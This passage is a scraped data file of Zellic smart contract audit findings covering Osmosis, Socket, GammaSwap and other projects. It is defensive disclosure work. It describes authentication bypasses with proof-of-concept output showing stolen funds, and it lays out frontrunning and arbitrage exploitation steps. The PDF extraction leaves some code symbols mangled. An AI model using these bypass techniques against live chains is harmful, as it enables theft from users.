conveyed in this find- ing. They have created a library for managing the pool migration, which appears to address the main concerns of (1) migrating LP-level collateral and token assets and (2) migrating total pool synthetic tokens. It is important to note, however, that this mi- gration contract lies outside of the core scope of this audit and has hence not received the same level of scrutiny as the rest of the contracts. Furthermore, we have not been presented with an updated multiple liquidity pool contract that utilizes this library for pool migrations. Jarvis appears to be on the right track here, and we look forward to seeing a completed and safely implemented pool migration function in the future. Zellic Jarvis", + "html_url": "https://github.com/Zellic/publications/blob/master/Jarvis Network Synthereum - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Swap lacks slippage and path checks", + "labels": [ + "Zellic" + ], + "body": "Target: Univ2JRTSwap Category: Business logic Likelihood: Medium Severity: Low : Medium The Uniswap module of swapping collateral into JRT does not support passing a pa- rameter for the slippage check. amountOut = router.swapExactTokensForTokens( amountIn, 0, /) no slippage check swapInfo.tokenSwapPath, recipient, swapInfo.expiration )[swapInfo.tokenSwapPath.length - 1]; Moreover, the last element of the swap\u2019s path is not checked to be the JRT token. The protocol may lose tokens due to overallowance of slippage, since the swap itself can get sandwich attacked by front runners. This may heavily affect larger amounts of collateral being swapped. We recommend implementing the minTokensOut field in the SwapInfo and then passing that in the swap function call. amountOut = router.swapExactTokensForTokens( amountIn, swapInfo.minTokensOut, /) slippage check passed swapInfo.tokenSwapPath, recipient, swapInfo.expiration )[swapInfo.tokenSwapPath.length - 1]; Moreover, similarly to the BalancerJRTSwap\u2019s SwapInfo struct, we recommend adding Zellic Jarvis the jrtAddress field and checking it to match with the last index of the swap path, like so: ...)) uint256 swapLength = swapInfo.tokenSwapPath.length; require( swapInfo.tokenSwapPath[swapLength \u2212 1] =) jrtAddress, 'Wrong swap asset' ); ...)) Jarvis has sufficiently addressed the finding by introducing the necessary anti-slippage parameter and required check for the last element of the swap path to be equal to the address of the JRT token. Zellic Jarvis", + "html_url": "https://github.com/Zellic/publications/blob/master/Jarvis Network Synthereum - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Centralization risk", + "labels": [ + "Zellic" + ], + "body": "Target: Project Wide, IFinder Category: Centralization Risk Likelihood: N/A Severity: Low : Low The protocol relies heavily on the synthereum finder to provide the correct addresses for critical contract interactions such as the price feed, lending manager, lending stor- age manager, commission receiver, buy back program receiver, and the interest bear- ing token. For example, function _getPriceFeedRate( ISynthereumFinder _finder, bytes32 _priceIdentifier ) internal view returns (uint256) { ISynthereumPriceFeed priceFeed = ISynthereumPriceFeed( _finder.getImplementationAddress(SynthereumInterfaces.PriceFeed) ); return priceFeed.getLatestPrice(_priceIdentifier); } Although the function in _finder that manages the contract addresses is access con- trolled (as shown in the code below), compromised keys could result in exploitation. For example, an attacker could change the priceFeed to a malicious contract. The compromised priceFeed could report a heavily depressed price to allow the attacker to mint a large number of synthetic tokens for very little collateral. The attacker could then massively increase the price to redeem synthetic tokens for a large amount of collateral, effectively draining the pool of its collateral assets. function changeImplementationAddress( bytes32 interfaceName, address implementationAddress ) external override onlyMaintainer { interfacesImplemented[interfaceName] = implementationAddress; Zellic Jarvis emit InterfaceImplementationChanged(interfaceName, implementationAddress); } The use of a multisignature address wallet can prevent an attacker from causing eco- nomic damage in the event a private key is compromised. Timelocks can also be used to catch malicious executions, such as a change to the implementationAddressof thepriceFeed. Jarvis is aware of the centralization risks introduced by the synthereum finder but em- phasizes the importance of the synthereum finder in mitigating attacks from imposter contracts such as fake pools. They acknowledge that the synthereum finder could be compromised by leaked keys and, therefore, have implemented the following multi- stage protection protocol: 1. The synthereum finder is controlled by an Admin account and a Maintainer ac- count. The Admin account controls the Admin and Maintainer roles while the Maintainer controls the addresses pointed to by the synthereum finder. In the event the Maintainer is compromised, the Admin role can revoke its rights. 2. Both the Admin and Maintainer roles are managed by two of four signature Gno- sis Safe multisigs. 3. Ledger devices are used as signers of the multisigs to add an additional layer of security over hot wallets. Jarvis has further indicated that the Ledger keys are distributed among different company officers and are stored securely. In the future, the Admin and Maintainer roles will be moved to an on-chain DAO and the multisig will be upgraded to a three of five. At that time, time-lock mechanisms may also be introduced. Zellic Jarvis", + "html_url": "https://github.com/Zellic/publications/blob/master/Jarvis Network Synthereum - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Signature authenticator authentication bypass", + "labels": [ + "Zellic" + ], + "body": "Target: x/authenticator/authenticator/ante.go Category: Coding Mistakes Likelihood: High Severity: Critical : Critical For legacy support, the signature authenticator is used by default for any accounts without any registered authenticators. The signature authenticator implements the GetAuthenticationData handler for the Authenticator interface. The handler parses signers and signatures from the transaction and returns an indexed list of both the signers and the signatures. However, the message index is cast to int8 before the handler is invoked: authData, err :) authenticator.GetAuthenticationData(neverWriteCacheCtx, tx, int8(msgIndex), simulate) if err !) nil { return ctx, err } This causes the cast to overflow, resulting in the message index becoming negative. func GetSignersAndSignatures( msgs []sdk.Msg, suppliedSignatures []signing.SignatureV2, feePayer string, /) we use the message index to get signers and signatures for /) a specific message, with all messages. msgIndex int, ) ([]sdk.AccAddress, []signing.SignatureV2, error) { [...))] /) Iterate over messages and their signers. for i, msg :) range msgs { for _, signer :) range msg.GetSigners() { [...))] Zellic Osmosis Labs /) If dealing with a specific message, capture its signers. if specificMsg &) i =) msgIndex { resultSigners = append(resultSigners, signer) } Since msgIndex is negative, specificMsg &) i =) msgIndex will never match. This causes GetSignersAndSignatures to return empty lists for signers and signatures. Signature checks are skipped for transactions having more than 128 messages. This could allow an attacker to maliciously sign and execute any message \u2014 for example, sending coins to themselves. They could simply add fake signature and signer info to the message, and it would get executed. An example proof of concept (POC), which is located in the appendix 7.1, was provided to Osmosis Labs that demonstrates an attacker signing a message to transfer coins to themselves: The POC will output the following: Balances before: hacker: amount: \u201d139621170\u201d denom: uosmo victim: amount: \u201d99351536125\u201d denom: uosmo { \u201dmsg_index\u201d: 128, \u201dlog\u201d: \u201d\u201d, \u201devents\u201d: [ { \u201dtype\u201d: \u201dcoin_received\u201d, \u201dattributes\u201d: [ { \u201dkey\u201d: \u201dreceiver\u201d, \u201dvalue\u201d: \u201dosmo1d6aldupd067vm4807qvkcm20j5ts2nmhzwu4y7\u201d }, { \u201dkey\u201d: \u201damount\u201d, \u201dvalue\u201d: \u201d10000000uosmo\u201d } Zellic Osmosis Labs ] }, { \u201dtype\u201d: \u201dcoin_spent\u201d, \u201dattributes\u201d: [ { \u201dkey\u201d: \u201dspender\u201d, \u201dvalue\u201d: \u201dosmo12smx2wdlyttvyzvzg54y2vnqwq2qjateuf7thj\u201d }, { \u201dkey\u201d: \u201damount\u201d, \u201dvalue\u201d: \u201d10000000uosmo\u201d } ] }, { \u201dtype\u201d: \u201dmessage\u201d, \u201dattributes\u201d: [ { \u201dkey\u201d: \u201daction\u201d, \u201dvalue\u201d: \u201d/cosmos.bank.v1beta1.MsgSend\u201d }, { \u201dkey\u201d: \u201dsender\u201d, \u201dvalue\u201d: \u201dosmo12smx2wdlyttvyzvzg54y2vnqwq2qjateuf7thj\u201d }, { \u201dkey\u201d: \u201dmodule\u201d, \u201dvalue\u201d: \u201dbank\u201d } ] }, { \u201dtype\u201d: \u201dtransfer\u201d, \u201dattributes\u201d: [ { \u201dkey\u201d: \u201drecipient\u201d, \u201dvalue\u201d: \u201dosmo1d6aldupd067vm4807qvkcm20j5ts2nmhzwu4y7\u201d }, { \u201dkey\u201d: \u201dsender\u201d, \u201dvalue\u201d: \u201dosmo12smx2wdlyttvyzvzg54y2vnqwq2qjateuf7thj\u201d Zellic Osmosis Labs }, { \u201dkey\u201d: \u201damount\u201d, \u201dvalue\u201d: \u201d10000000uosmo\u201d } ] } ] } Balances after: hacker: amount: \u201d149608670\u201d denom: uosmo victim: amount: \u201d99341536125\u201d denom: uosmo The int8 cast should be removed since it is not required. This issue has been acknowledged by Osmosis Labs, and a fix was implemented in commit 50eb8ae5. The int8 cast was removed for message indexes. Zellic Osmosis Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Osmosis Authentication Abstraction - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Bypass fee payer authentication", + "labels": [ + "Zellic" + ], + "body": "Target: x/authenticator/ante/ante.go Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The authenticator\u2019s job is to validate the signature of a message and ensure that the required accounts have signed it, including the fee payer if one is specified. When custom CosmWasm authenticators are added (or if an empty AllOfAuthenticator is used) then it is possible for an authenticator to be added that will return iface.Authe nticated() regardless of whether the fee payer has signed the message or not: /) Consume the authenticator's static gas cacheCtx.GasMeter().ConsumeGas(authenticator.StaticGas(), \u201dauthenticator static gas\u201d) /) Get the authentication data for the transaction neverWriteCacheCtx, _ :) cacheCtx.CacheContext() /) GetAuthenticationData is not allowed to modify the state authData, err :) authenticator.GetAuthenticationData(neverWriteCacheCtx, tx, msgIndex, simulate) if err !) nil { return ctx, err } authentication :) authenticator.Authenticate(cacheCtx, account, msg, authData) if authentication.IsRejected() { return ctx, authentication.Error() } if authentication.IsAuthenticated() { msgAuthenticated = true /) Once the fee payer is authenticated, we can set the gas limit to its original value if !feePayerAuthenticated &) account.Equals(feePayer) { originalGasMeter.ConsumeGas(payerGasMeter.GasConsumed(), \u201dfee payer gas\u201d) /) Reset this for both contexts Zellic Osmosis Labs cacheCtx = ad.authenticatorKeeper.TransientStore. GetTransientContextWithGasMeter(originalGasMeter) ctx = ctx.WithGasMeter(originalGasMeter) feePayerAuthenticated = true } break } This will cause the entire fee to be deducted from the fee payer in the DeductFeeDecor ator ante handler, but since the feePayerAuthenticated will not be set to true (account is based off the message\u2019s GetSigner, which will not match if a separate fee payer is specified), the amount of gas will be limited to 20,000. A malicious user can set up an authenticator to always verify any message, then send messages with high fees and a separate fee payer to drain any account of its funds. An example POC, which is located in the appendix 7.2, was provided to Osmosis Labs that demonstrates forcing someone to pay 100,0000 in fees without signing the mes- sage: The POC will output the following: Balances before: hacker (osmo1m6a73d0qhl9kphwx84syysnrr3t3myxvhw3f5d): amount: \u201d103875\u201d victum (osmo12smx2wdlyttvyzvzg54y2vnqwq2qjateuf7thj): amount: \u201d99362536125\u201d # transfer log { \u201dtype\u201d: \u201dtransfer\u201d, \u201dattributes\u201d: [ { \u201dkey\u201d: \u201drecipient\u201d, \u201dvalue\u201d: \u201dosmo17xpfvakm2amg962yls6f84z3kell8c5lczssa0\u201d, \u201dindex\u201d: false }, { \u201dkey\u201d: \u201dsender\u201d, \u201dvalue\u201d: \u201dosmo12smx2wdlyttvyzvzg54y2vnqwq2qjateuf7thj\u201d, \u201dindex\u201d: false Zellic Osmosis Labs }, { \u201dkey\u201d: \u201damount\u201d, \u201dvalue\u201d: \u201d1000000uosmo\u201d, \u201dindex\u201d: false } ] } Balances after: hacker: amount: \u201d103875\u201d victim: amount: \u201d99361536125\u201d The fee payer should always be authenticated regardless of the authenticator used. This issue has been acknowledged by Osmosis Labs, and a fix was implemented in commit 651eccd9. The feePayerAuthenticated is always authenticated now. Zellic Osmosis Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Osmosis Authentication Abstraction - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Unnecessary casting of salt parameter", + "labels": [ + "Zellic" + ], + "body": "Target: LightWalletFactory Category: Optimizations Likelihood: N/A Severity: Informational : Informational The type of the parameter salt in the createAccount and getAddress functions is uint 256, but the functions both cast it to bytes32 in all uses of the parameter. The salt parameter\u2019s type can be directly set to bytes32, eliminating the need for type conversion within the functions: function createAccount(bytes32 hash, uint256 salt) public returns ( LightWallet ret) { function createAccount(bytes32 hash, bytes32 salt) public returns ( LightWallet ret) { address addr = getAddress(hash, salt); /) [...))] ret = LightWallet( payable( new ERC1967Proxy{salt : bytes32(salt)}( new ERC1967Proxy{salt : salt}( address(accountImplementation), abi.encodeCall(LightWallet.initialize, (hash)) ) ) ); } /) [...))] function getAddress(bytes32 hash, uint256 salt) public view returns ( Zellic Light, Inc. address) { function getAddress(bytes32 hash, bytes32 salt) public view returns ( address) { /) Computes the address with the given `salt`and the contract address `accountImplementation`, and with `initialize` method w/ `hash` return Create2.computeAddress( bytes32(salt), salt, keccak256( abi.encodePacked( type(ERC1967Proxy).creationCode, abi.encode(address(accountImplementation), abi.encodeCall(LightWallet.initialize, (hash))) ) ) ); } This issue has been acknowledged by Light, Inc., and a fix was implemented in commit 6a1a082e. Zellic Light, Inc. 4 Threat Model This provides a full threat model description for various functions. As time permit- ted, we analyzed each function in the contracts and created a written threat model for some critical functions. A threat model documents a given function\u2019s externally controllable inputs and how an attacker could leverage each input to cause harm. Not all functions in the audit scope may have been modeled. The absence of a threat model in this section does not necessarily suggest that a function is safe.", + "html_url": "https://github.com/Zellic/publications/blob/master/LightWallet - Zellic Audit Report.pdf" + }, + { + "title": "4.1 Module: LightWalletFactory.sol Function: createAccount(byte[32] byte[32], uint256 uint256) This is a helper function used to get the address of a deployed LightWallet contract or deploy a new one. Inputs", + "labels": [ + "Zellic" + ], + "body": "hash \u2013 Control: Full. \u2013 Constraints: None. \u2013 : Specifies the EntryPoint address the LightWallet should use. salt \u2013 Control: Full. \u2013 Constraints: None. \u2013 : Specifies the salt to use when deploying the proxy contract for LightWallet. Branches and code coverage (including function calls) Intended branches Account already exists \u2014 return existing LightWallet. 4\u25a1 Test coverage Account does not exist \u2014 create new LightWallet. 4\u25a1 Test coverage", + "html_url": "https://github.com/Zellic/publications/blob/master/LightWallet - Zellic Audit Report.pdf" + }, + { + "title": "4.2 Module: LightWallet.sol Zellic Light, Inc. Function: executeBatch(address[] dest, uint256[] value, byte[][] func) Executes a sequence of transactions (called directly by entryPoint). Inputs", + "labels": [ + "Zellic" + ], + "body": "dest \u2013 Control: Fully controlled by the user. \u2013 Constraints: N/A. \u2013 : The array of the address of the target contract to call. value \u2013 Control: Fully controlled by the user. \u2013 Constraints: N/A. \u2013 : The array of amount of Wei (ETH) to send along with the call. func \u2013 Control: Fully controlled by the user. \u2013 Constraints: N/A. \u2013 : The array of calldata to send to the target contract. Branches and code coverage (including function calls) Intended branches Tests that the account can run executeBatch correctly. 4\u25a1 Test coverage Tests that the account can run executeBatch correctly with value.length =) 0. 4\u25a1 Test coverage Negative behavior Tests that the account reverts when running executeBatch from a non-entryPoi nt. 4\u25a1 Negative test Tests that the account reverts when dest.length is not equal with func.length. \u25a1 Negative test Function call analysis executeBatch -> _call(address target, uint256 value, bytes memory data) -> target.call{value: value}(data) \u2013 What is controllable? target, value, and data. \u2013 If return value controllable, how is it used and how can it go wrong? N/A. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Zellic Light, Inc. If there is a reentry attempt, the function will revert because the execute method is called from a non-entryPoint. Function: execute(address dest, uint256 value, byte[] func) Executes a transaction (called directly by entryPoint). Inputs dest \u2013 Control: Fully controlled by the user. \u2013 Constraints: N/A. \u2013 : The address of the target contract to call. value \u2013 Control: Fully controlled by the user. \u2013 Constraints: N/A. \u2013 : The amount of Wei (ETH) to send along with the call. func \u2013 Control: Fully controlled by the user. \u2013 Constraints: N/A. \u2013 : The calldata to send to the target contract. Branches and code coverage (including function calls) Intended branches Tests that the account can run execute correctly. 4\u25a1 Test coverage Negative behavior Tests that the account reverts when running execute from a non-entryPoint. 4\u25a1 Negative test Function call analysis execute -> _call(address target, uint256 value, bytes memory data) -> target.call{value: value}(data) \u2013 What is controllable? target, value, and data. \u2013 If return value controllable, how is it used and how can it go wrong? N/A. \u2013 What happens if it reverts, reenters, or does other unusual control flow? If there is a reentry attempt, the function will revert because the execute method is called from a non-entryPoint. Zellic Light, Inc. 5 Assessment Results At the time of our assessment, the reviewed code was not deployed to the Ethereum Mainnet. During our assessment on the scoped LightWallet contracts, we discovered one find- ing, which was informational in nature. Light, Inc. acknowledged the finding and im- plemented a fix.", + "html_url": "https://github.com/Zellic/publications/blob/master/LightWallet - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Vester incorrect burn", + "labels": [ + "Zellic" + ], + "body": "Target: VesterNoReserve Category: Business Logic Likelihood: High Severity: High : High Vesting is the process of locking tokens for a certain interval of time, after which the tokens are returned with rewards. The function _updateVesting, that is called to up- date vesting states burns esToken, which represent the users locked tokens, from the account. This is incorrect as locked esTokens are transferred to the Vesting contract when deposited. function _updateVesting(address _account) private { uint256 amount = _getNextClaimableAmount(_account); lastVestingTimes[_account] = block.timestamp; if (amount =) 0) { return; } /) transfer claimableAmount from balances to cumulativeClaimAmounts _burn(_account, amount); cumulativeClaimAmounts[_account] = cumulativeClaimAmounts[_account] + amount; IRestrictedToken(esToken).burn(_account, amount); } If a user deposits more than half of their esToken, they cannot claim or withdraw more tokens without acquiring more esToken as it will revert due to the lack of tokens during the burn. If the user has enough tokens to be burned (not deposited tokens), every time _updat Zellic GammaSwap eVesting is called, their esTokens will be burned, receiving no tokens in return. Correct the logic to burn tokens from the Vester contract and not from the user. This issue has been acknowledged by GammaSwap, and a fix was implemented in commit a3672730. Zellic GammaSwap", + "html_url": "https://github.com/Zellic/publications/blob/master/GammaSwap Staking - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Cancellation of isDepositToken still allows rewards to be claimed", + "labels": [ + "Zellic" + ], + "body": "Target: RewardTracker Category: Coding Mistakes Likelihood: Low Severity: Medium : Medium The isDepositToken mapping is used to validate whether a token is whitelisted to be staked in the contract. function _stake(address _fundingAccount, address _account, address _depositToken, uint256 _amount) internal virtual { /) ...)) require(isDepositToken[_depositToken], \u201dRewardTracker: invalid _depositToken\u201d); IERC20(_depositToken).safeTransferFrom(_fundingAccount, address(this), _amount); /) ...)) } A similar check is performed upon unstaking of tokens. function _unstake(address _account, address _depositToken, uint256 _amount, address _receiver) internal virtual { /) ...)) require(isDepositToken[_depositToken], \u201dRewardTracker: invalid _depositToken\u201d); /) ...)) _burn(_account, _amount); IERC20(_depositToken).safeTransfer(_receiver, _amount); } Thus, if the isDepositToken mapping is set to False after previously being True, any amount of tokens that have been staked in the contract will not be able to be unstaked. Zellic GammaSwap Despite this, the rewards that have been accumulated will still be claimable. The impact of this issue depends on the implementation of the rest of the protocol and several other considerations. Since theoretically the isDepositToken can be called again to re-whitelist the token, the impact is diminished. However, in the case that the isDepositToken is a token that has been compromised and is no longer wanted by the system, this quick fix is no longer a viable alternative, and the issue becomes a severe problem, as the rewards are still accruing. We recommend reconsidering the accrual of rewards for tokens that have been re- moved from the isDepositToken mapping. Essentially, they should not be considered towards the total amount of rewards that are claimable. This issue has been acknowledged by GammaSwap, and a fix was implemented in commit d29a27bb. It is important to note, however, that the fix simply removes the isDepositToken check from the _unstake function. This could pose a security risk down the line if the deposit Balances mapping is not properly updated on its own, as the _depositToken parameter is not checked for validity. Zellic GammaSwap", + "html_url": "https://github.com/Zellic/publications/blob/master/GammaSwap Staking - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Check validity of parameters", + "labels": [ + "Zellic" + ], + "body": "Target: StakingRouter Category: Business Logic Likelihood: Low Severity: Informational : Informational Parameters such as the _gsPool in StakingRouter\u2019s functions could be checked for va- lidity. For example, function withdrawEsGsForPool(address _gsPool) external nonReentrant { IVester(poolTrackers[_gsPool].vester).withdrawForAccount(msg.sender); } lacks a check that the _gsPool is a valid address in the poolTrackers mapping. Failure to properly check the validity of parameters could lead to unexpected behav- ior, which in this case would have resulted in a failed external call. It is a good security practice to ensure the validity of parameters before using them, especially when these refer to arbitrary addresses. In the function above, the _gsPool parameter could be checked that it exists within the poolTrackers mapping. This would prevent the function from being called with an invalid _gsPool address. function withdrawEsGsForPool(address _gsPool) external nonReentrant { require(poolTrackers[_gsPool].vester !) address(0), \u201dStakingRouter: Pool not found\u201d); IVester(poolTrackers[_gsPool].vester).withdrawForAccount(msg.sender); } This issue has been acknowledged by GammaSwap. Zellic GammaSwap", + "html_url": "https://github.com/Zellic/publications/blob/master/GammaSwap Staking - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Switchboard can steal extra execution fees", + "labels": [ + "Zellic" + ], + "body": "Target: ExecutionManager Category: Business Logic Likelihood: Low Severity: High : Medium The payAndCheckFees function considers any fees left over after transmission fees, switchboard fees, and the minimum execution fees \u2014 the verification overhead fees added to msg.value transfer fees) \u2014 to be extra execution fees which can be optionally provided to encourage priority execution: if (msg.value >) type(uint128).max) revert InvalidMsgValue(); uint128 msgValue = uint128(msg.value); /) transmission fees are per packet, so need to divide by number of messages per packet transmissionFees = transmissionMinFees[transmitManager_][siblingChainSlug_] / uint128(maxPacketLength_); uint128 minMsgExecutionFees = _getMinFees( minMsgGasLimit_, payloadSize_, executionParams_, siblingChainSlug_ ); uint128 minExecutionFees = minMsgExecutionFees + verificationOverheadFees_; if (msgValue < transmissionFees + switchboardFees_ + minExecutionFees) revert InsufficientFees(); /) any extra fee is considered as executionFee executionFee = msgValue - transmissionFees - switchboardFees_; Zellic Socket Technology The switchboardFees_ and verificationOverheadFees_ both come from the switch- board when ISwitchboard.getMinFees is called to fetch the fees in SocketSrc (these values are passed into payAndCheckFees as arguments): /** * @notice Retrieves the minimum fees required for switchboard. * @param siblingChainSlug_ The slug of the destination chain for the message. * @param switchboard__ The switchboard address for which fees is retrieved. * @return switchboardFees fees required for message verification *) function _getSwitchboardMinFees( uint32 siblingChainSlug_, ISwitchboard switchboard__ ) { } internal view returns (uint128 switchboardFees, uint128 verificationOverheadFees) (switchboardFees, verificationOverheadFees) = switchboard__.getMinFees( siblingChainSlug_ ); A switchboard can return values from ISwitchboard.getMinFees such that the payAnd CheckFees call does not revert with InsufficientFees but has no extra execution fee, thereby stealing from the executor and/or the user. The values can be configured in the on-chain switchboard by front-running the SocketSrc.outbound call. The following steps represent the simplest exploitation of this issue, where each top- level, numbered item represents a separate transaction: 1. The frontrunning transaction: Switchboard fees are increased. 2. The victim transaction: Fees were calculated off-chain in advance (including an extra fee). On-chain, the outbound call is made, and the switchboard steals the extra fee. Zellic Socket Technology Per the Socket Data Layer documentation, the getMinFees call should be done in the same transaction as the outbound call, preventing exploitation using those steps. However, if this issue were to be exploited, it would require the switchboard to perform malicious behavior: increasing fees unexpectedly during the outbound call. Thus, in the event that the issue is exploited, it is reasonable to expect that the switch- board may perform other unexpected behavior aside from simply increasing fees such as configuring the switchboard to return one set of values for the first _getMinFees call and another for the second: 1. The frontrunning transaction: The switchboard contract is upgraded to change the behavior of _getMinFees such that its return value is variable and determined based on call order. 2. The victim transaction: a. The first call to getMinFees calls _getMinFees on the switchboard. The ex- pected switchboard and overhead fees are returned such that the plug passes in the value it expected (i.e. the original minimum fees with an extra fee added on for priority execution purposes). b. The second call to the switchboard\u2019s _getMinFees returns a value for the switchboard fee that includes the extra fees passed into the outbound call such that no extra fees remain, and all fees go to the switchboard. So, we believe calculating the minimum fees in the same transaction as making the outbound call does not effectively mitigate the risk. The protocol cannot enforce an implementation of a switchboard, so the threat model should include the switchboard behaving in any manner it chooses. While the user ultimately needs to assess the risk, it is important to acknowledge that the risk does exist. We understand the extra fees are to encourage prioritized execution and that refund- ing them to the user to discourage sending extra fees would defeat this goal. Either of the following solutions ensure the switchboard cannot increase fees (but can decrease \u2014 which would increase message priority incentive) while still allowing the user to pass extra execution fees: To ensure fees cannot be stolen, we recommend adding a SocketSrc.outbound caller-specified argument for the maximum value for transmissionFees + swit chboardFees_ + minExecutionFees (i.e. the minimum fees required to send the message \u2014 without any extra fees). Zellic Socket Technology Alternatively, simply require the SocketSrc.outbound caller to specify an argu- ment for the amount of extra fees \u2014 if any \u2014 and add this value to the Insuffic ientFees check. The protocol is not directly at risk from this issue; the purpose of mitigating this issue would be to reduce risk and prevent potential harm to a user who does not sufficiently vet the plug\u2019s configured switchboard \u2014 or, since a plug implementation may allow a frontrunning attack to change the switchboard before the transaction, a user who does not sufficiently vet the plug. Socket Technology acknowledged the finding, noting that the system relies on repu- tation and that if a switchboard were to act maliciously, users would lose trust in the switchboard and/or the plug configured to use it: The Plugs are expected to only select Switchboards they trust after thoroughly vetting its fee mechanism. We agree that malicious behavior would cause users to lose trust in the switchboard and/or the plug. However, we believe risk is still presented to the system if the issue is exploitable even once, which is a possibility presently determined by the plug im- plementation and configured switchboard. Mitigating the issue prevents the plug and switchboard from creating the opportunity to exploit the user in the first place. Zellic Socket Technology", + "html_url": "https://github.com/Zellic/publications/blob/master/Socket Data Layer - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Unconstrained minMsgGasLimit unaccounted for in fees", + "labels": [ + "Zellic" + ], + "body": "Target: ExecutionManager Category: Coding Mistakes Likelihood: High Severity: Medium : Medium The minMsgGasLimit_ passed into the SocketSrc.outbound function specifies the mini- mum gas that the SocketDst.inbound executor must pass. The setting is passed into outbound, then follows this chain: 1. _validateAndSendFees(minMsgGasLimit_, ...))) 2. _executionManager.payAndCheckFees(minMsgGasLimit_, ...))) 3. _getMinFees(minMsgGasLimit_, ...))) Finally, _getMinFees drops this value; the first parameter is not named: function payAndCheckFees( uint256 minMsgGasLimit_, uint256 payloadSize_, bytes32 executionParams_, bytes32, /) Zellic: this is `_getMinFees` uint32 siblingChainSlug_, uint128 switchboardFees_, uint128 verificationOverheadFees_, address transmitManager_, address switchboard_, uint256 maxPacketLength_ ) { } external payable override returns (uint128 executionFee, uint128 transmissionFees) /) [...))] Zellic Socket Technology Nowhere along this chain are limits enforced on minMsgGasLimit, and the value is not used when calculating fees. The executor may take a loss if gas fees are high because of minMsgGasLimit. Addi- tionally, messages are not guaranteed to be deliverable on the data layer of Socket if the gas limit were too high. Note that this does not affect plugs; only executors are potentially negatively im- pacted. Account for the minMsgGasLimit in fees. Socket Technology acknowledged this finding, noting that the code is simply incom- plete in the assessment version and that fee accounting will be implemented in the future: For now minMsgGasLimit is part of packetMessage and it is used on destination side to check if provided executionGasLimit is enough. We plan to introduce detailed _getMinFees that would use both minMsgGasLimit and payloadSize. When we do it, the executionFees[siblingChainSlug_] that is present currently would break into parts, which would be multiplied with minMsgGasLimit and pay loadSize. Zellic Socket Technology", + "html_url": "https://github.com/Zellic/publications/blob/master/Socket Data Layer - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Arbitraging against Socket Data Layer", + "labels": [ + "Zellic" + ], + "body": "Target: ExecutionManager Category: Business Logic Likelihood: High Severity: Low : Low A feature of Socket Data Layer is the ability to send msg.value with messages cross- chain. This essentially acts as a swap from the source chain\u2019s native coin to that of the destination chain. The price of the source chain\u2019s native coin in terms of the destination chain\u2019s native coin is determined by a ratio set by the FEES_UPDATER_ROLE role. When paying fees for the message, the _getMinFees debits native tokens based on that ratio and the requested msgValue: /) decodes and validates the msg value if it is under given transfer limits and calculates /) the total fees needed for execution for given payload size and msg value. function _getMinFees( uint256, uint256 payloadSize_, bytes32 executionParams_, uint32 siblingChainSlug_ ) internal view returns (uint128) { /) [...))] uint256 params = uint256(executionParams_); uint8 paramType = uint8(params >) 248); if (paramType =) 0) return executionFees[siblingChainSlug_]; uint256 msgValue = uint256(uint248(params)); if (msgValue < msgValueMinThreshold[siblingChainSlug_]) revert MsgValueTooLow(); if (msgValue > msgValueMaxThreshold[siblingChainSlug_]) revert MsgValueTooHigh(); uint256 msgValueRequiredOnSrcChain = (relativeNativeTokenPrice[ siblingChainSlug_ Zellic Socket Technology ] * msgValue) / 1e18; /) [...))] } /) [...))] function setRelativeNativeTokenPrice( uint256 nonce_, uint32 siblingChainSlug_, uint256 relativeNativeTokenPrice_, bytes calldata signature_ ) external override { /) [...))] _checkRoleWithSlug(FEES_UPDATER_ROLE, siblingChainSlug_, feesUpdater); /) [...))] relativeNativeTokenPrice[siblingChainSlug_] = relativeNativeTokenPrice_; /) [...))] } There may be a delay between the fee updater\u2019s submission of the relative native token prices and the actual relative price. Arbitrage happens between at least two exchanges.[1] Socket Data Layer acts as one exchange, and any exchange (e.g., Uniswap, Curve, or even another Socket Data Layer path) may be used as the second. The core of the issue is that there is an arbitrage opportunity anytime the relative native token price difference between Socket Data Layer and another exchange is exploitable for profit (i.e., after fees), which is especially likely to happen in a volatile market. There are a number of protections implemented that may make an arbitrage oppor- tunity with Socket Data Layer less trivial to exploit: Socket Technology noted that the fee updater will quickly submit signatures to try to keep the price as up-to-date as possible. There is the existence of the maximum msgValue threshold: 1 In arbitrage, there may be one or more intermediate exchange(s) used in a chain to maximize prof- itability. But the minimum number of exchanges required is two. Zellic Socket Technology if (msgValue > msgValueMaxThreshold[siblingChainSlug_]) revert MsgValueTooHigh(); Cross-chain message transfers do not occur immediately. Any delay leaves room for more price disparities between the involved exchanges, potentially ending the opportunity and causing a loss to the arbitrageur. However, none of these eliminates the possibility of an arbitrage opportunity; while these measures may mitigate the ease of exploitation, if the price ratio is not updated atomically (i.e., within the same transaction) before sending a packet, the potential for a price difference exists. Additionally, the maximum msgValue threshold can be bypassed by sending many messages in the same packet, splitting transmission fees. The cross-chain message transfer may not be instant, but the Socket Data Layer ex- change occurs immediately on the sending chain. Only, the output native coin is es- sentially redeemed once the message arrives on the destination chain. So, if the other exchange is on the source chain, the arbitrage attack can be atomically executed. For many exchanges, arbitrage is generally beneficial because of its role in promoting market efficiency and price convergence; that is, arbitrageurs facilitate the alignment of asset values across decentralized exchanges, reducing spreads. However, Socket Data Layer does not operate an order book and swaps do not impact pricing, so arbitrage against it does not resolve price inefficiencies and potentially has negative impact on the executors who provide the msg.value liquidity on the destina- tion chain. When successfully executed, the arbitrageur \u201cwins\u201d the price difference between the trade. This value must come from somewhere \u2014\u2013 and the \u201closers\u201d are the liquidity providers who lost their liquidity to a bad trade. In Socket Data Layer\u2019s case, the executors ultimately provide the native coin to the destination chain, so they are the entity negatively impacted by the fee updater\u2019s slow response. Assuming no limit to the number of messages that can be sent during a price inef- ficiency, the profits are only limited by how many native coins the executor is able to provide on the destination chain. Once the executors run out of destination chain native coins, the arbitrage opportunity closes. Zellic Socket Technology Ensure executors evaluate whether the fees paid for the msgValue transfer are satis- factory before executing the message on chain. Set up monitoring to ensure other on-chain oracles\u2019 prices do not vary too much fron the 